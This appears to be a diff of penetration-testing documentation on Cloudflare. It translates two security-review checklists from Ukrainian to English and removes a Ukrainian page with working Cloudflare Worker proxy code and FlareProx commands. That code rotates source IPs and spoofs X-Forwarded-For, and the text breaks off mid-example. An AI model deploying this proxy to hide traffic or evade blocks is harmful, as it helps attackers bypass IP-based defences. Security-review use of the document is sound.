||||
|
||||
@@ -1,14 +1,14 @@
|
||||
# Cloudflare Безпека
|
||||
# Cloudflare Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
У обліковому записі Cloudflare є деякі **загальні налаштування та сервіси**, які можна конфігурувати. На цій сторінці ми збираємось **аналізувати налаштування, що стосуються безпеки, у кожному розділі:**
|
||||
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
|
||||
Перевірте кожен з:
|
||||
Review each with:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -16,9 +16,9 @@ cloudflare-domains.md
|
||||
|
||||
### Domain Registration
|
||||
|
||||
- [ ] У **`Transfer Domains`** перевірте, що неможливо передати домен.
|
||||
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
|
||||
|
||||
Перевірте кожен з:
|
||||
Review each with:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -26,45 +26,39 @@ cloudflare-domains.md
|
||||
|
||||
## Analytics
|
||||
|
||||
_Я не знайшов нічого, що варто перевіряти для огляду конфігурації безпеки._
|
||||
_I couldn't find anything to check for a config security review._
|
||||
|
||||
## Pages
|
||||
|
||||
У кожній сторінці Cloudflare:
|
||||
On each Cloudflare's page:
|
||||
|
||||
- [ ] Перевірте наявність **чутливої інформації** у **`Build log`**.
|
||||
- [ ] Перевірте **чутливу інформацію** в **Github repository**, прив'язаному до pages.
|
||||
- [ ] Перевірте можливу компрометацію github repo через **workflow command injection** або `pull_request_target`. Детальніше на [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Перевірте наявність вразливих функцій у каталозі `/fuctions` (якщо є), перевірте **redirects** у файлі `_redirects` (якщо є) та **misconfigured headers** у файлі `_headers` (якщо є).
|
||||
- [ ] Перевірте на **вразливості** веб-сторінку за допомогою **blackbox** або **whitebox**, якщо маєте доступ до коду.
|
||||
- [ ] У деталях кожної сторінки `/<page_id>/pages/view/blocklist/settings/functions`. Перевірте **чутливу інформацію** у **`Environment variables`**.
|
||||
- [ ] На сторінці деталей також перевірте **build command** та **root directory** на предмет потенційних ін'єкцій для компрометації сторінки.
|
||||
- [ ] Check for **sensitive information** in the **`Build log`**.
|
||||
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
|
||||
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
|
||||
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
|
||||
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
|
||||
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
|
||||
|
||||
## **Workers**
|
||||
|
||||
У кожного Cloudflare worker перевірте:
|
||||
On each Cloudflare's worker check:
|
||||
|
||||
- [ ] Тригери: що запускає worker? Чи може **користувач відправляти дані**, які будуть **використані** worker?
|
||||
- [ ] У **`Settings`** перевірте **`Variables`**, що містять **чутливу інформацію**
|
||||
- [ ] Перевірте **код worker** і шукайте **вразливості** (особливо в місцях, де користувач може впливати на вхідні дані)
|
||||
- Перевірте SSRFs, що повертають вказану сторінку, якою ви можете керувати
|
||||
- Перевірте XSSs, що виконують JS всередині svg зображення
|
||||
- Можливо, worker взаємодіє з іншими внутрішніми сервісами. Наприклад, worker може працювати з R2 bucket, зберігаючи в ньому інформацію, отриману з input. У такому випадку потрібно перевірити, які можливості має worker щодо R2 bucket і як це можна зловживати через вхідні дані користувача.
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
|
||||
Для практичного зловживання Workers як pass-through проксі (IP rotation, FireProx-style), перевірте:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
У кожному R2 bucket перевірте:
|
||||
On each R2 bucket check:
|
||||
|
||||
- [ ] Налаштуйте **CORS Policy**.
|
||||
- [ ] Configure **CORS Policy**.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -76,8 +70,8 @@ TODO
|
||||
|
||||
## Security Center
|
||||
|
||||
- [ ] Якщо можливо, запустіть **`Security Insights`** **scan** та **`Infrastructure`** **scan**, оскільки вони виділять цікаву інформацію з точки зору **безпеки**.
|
||||
- [ ] Просто **перегляньте цю інформацію** на предмет неправильних налаштувань безпеки та цікавої інформації
|
||||
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
|
||||
- [ ] Just **check this information** for security misconfigurations and interesting info
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -94,41 +88,41 @@ cloudflare-zero-trust-network.md
|
||||
> [!NOTE]
|
||||
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
|
||||
|
||||
- [ ] Перевірте, чи **вирази** та **умови** для редіректів **мають сенс**.
|
||||
- [ ] Також перевірте наявність **чутливих прихованих endpoint-ів**, які можуть містити цікаву інформацію.
|
||||
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
|
||||
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] Перевірте **notifications.** Ці повідомлення рекомендовані для безпеки:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Перевірте всі **destinations**, оскільки у webhook urls може міститися **чутлива інформація** (basic http auth). Також переконайтесь, що webhook urls використовують **HTTPS**
|
||||
- [ ] Додатково можна спробувати **сприскати себе за Cloudflare notification** до третьої сторони, можливо ви зможете якимось чином **інжектувати щось небезпечне**
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] У **`Billing` -> `Payment info`** можна побачити останні 4 цифри кредитної картки, дату **expiration** та **billing address**.
|
||||
- [ ] У **`Billing` -> `Subscriptions`** можна побачити **plan type**, що використовується в обліковому записі.
|
||||
- [ ] У **`Members`** можна побачити всіх учасників облікового запису та їхні **role**. Зауважте, що якщо план не Enterprise, існують лише 2 ролі: Administrator та Super Administrator. Але якщо використовується **plan Enterprise**, можна використовувати [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) для дотримання принципу найменших привілеїв.
|
||||
- Тому, де можливо, **рекомендується** використовувати **Enterprise plan**.
|
||||
- [ ] У Members можна перевірити, які **members** мають увімкнений **2FA**. **Кожен** користувач повинен його мати увімкненим.
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
|
||||
@@ -138,3 +132,6 @@ cloudflare-zero-trust-network.md
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
В кожному TLD, налаштованому в Cloudflare, є деякі **загальні налаштування та сервіси**, які можна налаштувати. На цій сторінці ми будемо **аналізувати налаштування, пов'язані з безпекою, кожного розділу:**
|
||||
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Огляд
|
||||
### Overview
|
||||
|
||||
- [ ] Отримати уявлення про **те, наскільки** сервіси облікового запису **використовуються**
|
||||
- [ ] Знайти також **zone ID** та **account ID**
|
||||
- [ ] Get a feeling of **how much** are the services of the account **used**
|
||||
- [ ] Find also the **zone ID** and the **account ID**
|
||||
|
||||
### Аналітика
|
||||
### Analytics
|
||||
|
||||
- [ ] У **`Security`** перевірити, чи є будь-яке **обмеження швидкості**
|
||||
- [ ] In **`Security`** check if there is any **Rate limiting**
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] Перевірити **цікаві** (чутливі?) дані в DNS **записах**
|
||||
- [ ] Перевірити наявність **субдоменів**, які можуть містити **чутливу інформацію** лише на основі **імені** (наприклад, admin173865324.domin.com)
|
||||
- [ ] Перевірити веб-сторінки, які **не є** **проксованими**
|
||||
- [ ] Перевірити **проксовані веб-сторінки**, до яких можна **доступитися безпосередньо** за допомогою CNAME або IP-адреси
|
||||
- [ ] Перевірити, що **DNSSEC** **увімкнено**
|
||||
- [ ] Перевірити, що **CNAME Flattening** **використовується** в **усіх CNAME**
|
||||
- Це може бути корисно для **приховування вразливостей захоплення субдоменів** та покращення часу завантаження
|
||||
- [ ] Перевірити, що домени [**не вразливі до спуфінгу**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
- [ ] Check **interesting** (sensitive?) data in DNS **records**
|
||||
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
|
||||
- [ ] Check for web pages that **aren't** **proxied**
|
||||
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
|
||||
- [ ] Check that **DNSSEC** is **enabled**
|
||||
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
|
||||
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
|
||||
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
|
||||
### **Електронна пошта**
|
||||
### **Email**
|
||||
|
||||
TODO
|
||||
|
||||
@@ -36,91 +36,91 @@ TODO
|
||||
|
||||
### SSL/TLS
|
||||
|
||||
#### **Огляд**
|
||||
#### **Overview**
|
||||
|
||||
- [ ] **SSL/TLS шифрування** має бути **Повним** або **Повним (Суворим)**. Будь-який інший варіант на деякому етапі відправить **трафік у відкритому тексті**.
|
||||
- [ ] **SSL/TLS Рекомендатор** має бути увімкнено
|
||||
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
|
||||
- [ ] The **SSL/TLS Recommender** should be enabled
|
||||
|
||||
#### Сертифікати Edge
|
||||
#### Edge Certificates
|
||||
|
||||
- [ ] **Завжди використовувати HTTPS** має бути **увімкнено**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** має бути **увімкнено**
|
||||
- [ ] **Мінімальна версія TLS має бути 1.2**
|
||||
- [ ] **TLS 1.3 має бути увімкнено**
|
||||
- [ ] **Автоматичні переписування HTTPS** мають бути **увімкнені**
|
||||
- [ ] **Моніторинг прозорості сертифікатів** має бути **увімкнено**
|
||||
- [ ] **Always Use HTTPS** should be **enabled**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
|
||||
- [ ] **Minimum TLS Version should be 1.2**
|
||||
- [ ] **TLS 1.3 should be enabled**
|
||||
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
|
||||
- [ ] **Certificate Transparency Monitoring** should be **enabled**
|
||||
|
||||
### **Безпека**
|
||||
### **Security**
|
||||
|
||||
- [ ] У розділі **`WAF`** цікаво перевірити, що **правила брандмауера** та **обмеження швидкості використовуються** для запобігання зловживанням.
|
||||
- Дія **`Bypass`** **відключить функції безпеки Cloudflare** для запиту. Її не слід використовувати.
|
||||
- [ ] У розділі **`Page Shield`** рекомендується перевірити, що він **увімкнений**, якщо використовується будь-яка сторінка
|
||||
- [ ] У розділі **`API Shield`** рекомендується перевірити, що він **увімкнений**, якщо будь-який API відкритий у Cloudflare
|
||||
- [ ] У розділі **`DDoS`** рекомендується увімкнути **захист від DDoS**
|
||||
- [ ] У розділі **`Settings`**:
|
||||
- [ ] Перевірити, що **`Security Level`** є **середнім** або вищим
|
||||
- [ ] Перевірити, що **`Challenge Passage`** становить максимум 1 годину
|
||||
- [ ] Перевірити, що **`Browser Integrity Check`** **увімкнено**
|
||||
- [ ] Перевірити, що **`Privacy Pass Support`** **увімкнено**
|
||||
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
|
||||
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
|
||||
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
|
||||
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
|
||||
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
|
||||
- [ ] In the **`Settings`** section:
|
||||
- [ ] Check that the **`Security Level`** is **medium** or greater
|
||||
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
|
||||
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
|
||||
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
|
||||
|
||||
#### **Захист DDoS CloudFlare**
|
||||
#### **CloudFlare DDoS Protection**
|
||||
|
||||
- Якщо можливо, увімкніть **Bot Fight Mode** або **Super Bot Fight Mode**. Якщо ви захищаєте якийсь API, доступний програмно (наприклад, з JS фронтенд-сторінки). Ви можете не зможете увімкнути це, не зламавши цей доступ.
|
||||
- У **WAF**: Ви можете створити **обмеження швидкості за URL-адресою** або для **перевірених ботів** (правила обмеження швидкості), або **блокувати доступ** на основі IP, Cookie, реферера...). Таким чином, ви можете блокувати запити, які не надходять з веб-сторінки або не мають cookie.
|
||||
- Якщо атака з **перевіреного бота**, принаймні **додайте обмеження швидкості** для ботів.
|
||||
- Якщо атака на **конкретний шлях**, як механізм запобігання, додайте **обмеження швидкості** в цьому шляху.
|
||||
- Ви також можете **додати до білого списку** IP-адреси, діапазони IP, країни або ASN у **Інструментах** в WAF.
|
||||
- Перевірте, чи **Керовані правила** також можуть допомогти запобігти експлуатації вразливостей.
|
||||
- У розділі **Інструменти** ви можете **блокувати або ставити виклик конкретним IP** та **агентам користувача.**
|
||||
- У DDoS ви можете **перезаписати деякі правила, щоб зробити їх більш обмежувальними**.
|
||||
- **Налаштування**: Встановіть **Security Level** на **Високий** та на **Під атакою**, якщо ви під атакою, і щоб **Browser Integrity Check був увімкнений**.
|
||||
- У Cloudflare Domains -> Аналітика -> Безпека -> Перевірте, чи **обмеження швидкості** увімкнено
|
||||
- У Cloudflare Domains -> Безпека -> Події -> Перевірте наявність **виявлених шкідливих подій**
|
||||
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
|
||||
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
|
||||
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
|
||||
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
|
||||
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
|
||||
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
|
||||
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
|
||||
- In DDoS you could **override some rules to make them more restrictive**.
|
||||
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
|
||||
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
|
||||
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
|
||||
|
||||
### Доступ
|
||||
### Access
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-zero-trust-network.md
|
||||
{{#endref}}
|
||||
|
||||
### Швидкість
|
||||
### Speed
|
||||
|
||||
_Я не зміг знайти жодної опції, пов'язаної з безпекою_
|
||||
_I couldn't find any option related to security_
|
||||
|
||||
### Кешування
|
||||
### Caching
|
||||
|
||||
- [ ] У розділі **`Configuration`** розгляньте можливість увімкнення **CSAM Scanning Tool**
|
||||
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
|
||||
|
||||
### **Маршрути Workers**
|
||||
### **Workers Routes**
|
||||
|
||||
_Ви вже повинні були перевірити_ [_cloudflare workers_](#workers)
|
||||
_You should have already checked_ [_cloudflare workers_](#workers)
|
||||
|
||||
### Правила
|
||||
### Rules
|
||||
|
||||
TODO
|
||||
|
||||
### Мережа
|
||||
### Network
|
||||
|
||||
- [ ] Якщо **`HTTP/2`** **увімкнено**, **`HTTP/2 to Origin`** має бути **увімкнено**
|
||||
- [ ] **`HTTP/3 (з QUIC)`** має бути **увімкнено**
|
||||
- [ ] Якщо **конфіденційність** ваших **користувачів** важлива, переконайтеся, що **`Onion Routing`** **увімкнено**
|
||||
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
|
||||
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
|
||||
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
|
||||
|
||||
### **Трафік**
|
||||
### **Traffic**
|
||||
|
||||
TODO
|
||||
|
||||
### Користувацькі сторінки
|
||||
### Custom Pages
|
||||
|
||||
- [ ] Налаштування користувацьких сторінок, коли виникає помилка, пов'язана з безпекою (наприклад, блокування, обмеження швидкості або я під атакою), є необов'язковим
|
||||
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
|
||||
|
||||
### Додатки
|
||||
### Apps
|
||||
|
||||
TODO
|
||||
|
||||
### Scrape Shield
|
||||
|
||||
- [ ] Перевірте, що **обфускація адрес електронної пошти** **увімкнена**
|
||||
- [ ] Перевірте, що **виключення на стороні сервера** **увімкнені**
|
||||
- [ ] Check **Email Address Obfuscation** is **enabled**
|
||||
- [ ] Check **Server-side Excludes** is **enabled**
|
||||
|
||||
### **Zaraz**
|
||||
|
||||
@@ -131,3 +131,6 @@ TODO
|
||||
TODO
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,286 +0,0 @@
|
||||
# Зловживання Cloudflare Workers як pass-through proxies (IP rotation, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers можна розгорнути як прозорі HTTP pass-through проксі, де upstream target URL надається клієнтом. Запити виходять із мережі Cloudflare, тому ціль бачить Cloudflare IPs замість IP клієнта. Це віддзеркалює відому техніку FireProx на AWS API Gateway, але використовує Cloudflare Workers.
|
||||
|
||||
### Ключові можливості
|
||||
- Підтримка всіх HTTP-методів (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Ціль можна передати через query-параметр (?url=...), заголовок (X-Target-URL) або навіть закодувати в шляху (наприклад, /https://target)
|
||||
- Заголовки та тіло проксуються із фільтрацією hop-by-hop/заголовків за потреби
|
||||
- Відповіді пересилаються назад, збережено статус-код і більшість заголовків
|
||||
- Опціональне підроблення X-Forwarded-For (якщо Worker встановлює його з керованого користувачем заголовка)
|
||||
- Надзвичайно швидка/проста ротація через деплой кількох Worker endpoints і розподіл запитів
|
||||
|
||||
### How it works (flow)
|
||||
1) Клієнт відправляє HTTP-запит на Worker URL (`<name>.<account>.workers.dev` або маршрут на кастомному домені).
|
||||
2) Worker витягує ціль з query-параметра (?url=...), заголовка X-Target-URL або сегмента шляху, якщо реалізовано.
|
||||
3) Worker пересилає вхідний метод, заголовки та тіло до вказаного upstream URL (з фільтрацією проблемних заголовків).
|
||||
4) Відповідь upstream стримується назад до клієнта через Cloudflare; origin бачить Cloudflare egress IPs.
|
||||
|
||||
### Worker implementation example
|
||||
- Читає target URL з query-параметра, заголовка або шляху
|
||||
- Копіює безпечну підмножину заголовків і пересилає оригінальний метод/тіло
|
||||
- Опційно встановлює X-Forwarded-For, використовуючи керований користувачем заголовок (X-My-X-Forwarded-For) або випадкову IP
|
||||
- Додає ліберальну CORS-політику та обробляє preflight
|
||||
|
||||
<details>
|
||||
<summary>Приклад Worker (JavaScript) для pass-through проксування</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### Автоматизація розгортання та ротації за допомогою FlareProx
|
||||
|
||||
FlareProx — це інструмент на Python, який використовує Cloudflare API для розгортання багатьох Worker endpoints і ротації між ними. Це забезпечує FireProx-like IP rotation з мережі Cloudflare.
|
||||
|
||||
Налаштування
|
||||
1) Створіть Cloudflare API Token, використавши шаблон “Edit Cloudflare Workers”, і отримайте свій Account ID із панелі керування.
|
||||
2) Налаштуйте FlareProx:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**Створіть файл конфігурації flareprox.json:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**Використання CLI**
|
||||
|
||||
- Створити N Worker proxies:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Перелік endpoints:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Ендпоінти перевірки стану:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Видалити всі endpoints:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Маршрутизація трафіку через Worker**
|
||||
- Форма параметра запиту:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Форма заголовка:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Форма шляху (якщо реалізовано):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Приклади методів:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
